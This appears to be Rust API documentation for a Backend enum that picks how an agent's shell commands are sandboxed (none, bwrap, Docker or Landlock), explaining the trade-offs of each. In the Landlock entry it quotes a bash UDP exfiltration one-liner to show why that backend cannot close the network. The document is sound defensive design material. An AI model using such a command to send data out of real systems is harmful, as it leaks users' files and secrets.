pub enum Backend {
None,
Bwrap,
Docker,
Landlock,
}Expand description
How commands are confined.
Variants§
None
Run directly, as you, with your credentials. The historical behaviour, and the only sane default for a supervised CLI on a machine where the alternatives may not be installed.
Bwrap
User namespaces via bwrap. Cheap — no daemon, a few milliseconds —
and the right choice where unprivileged user namespaces are permitted.
Docker
A throwaway container. Works where user namespaces are locked down, costs a container start per command.
Landlock
Landlock LSM rules applied to the child process itself — no wrapper
binary, no namespaces, no daemon, and crucially no privilege: it
works on Ubuntu 23.10+ where AppArmor blocks unprivileged user
namespaces and bwrap fails even installed.
The trade is scope, and it is not negotiable, so it is priced into
the capability predicates rather than left to memory: Landlock
confines files (kernel 6.2+ for a complete write story — rename,
link, truncate). It cannot close the network — TCP bind/connect are
deniable on kernel 6.7+ and are denied when network = false, but
UDP is not restrictable at any ABI, and echo x > /dev/udp/host/port
is a working exfiltration route in bash alone. So a landlocked
shell never earns the interlock relaxation
(Sandbox::can_reach_network stays true), and what the backend
buys is the other half of the module’s closing sentence: an injected
command reads the files you pointed the agent at, not your SSH keys
or ~/.mecha. Weaker than bwrap in three more ways worth knowing:
/tmp is shared rather than private, /proc shows every process,
and there is no PID/IPC isolation.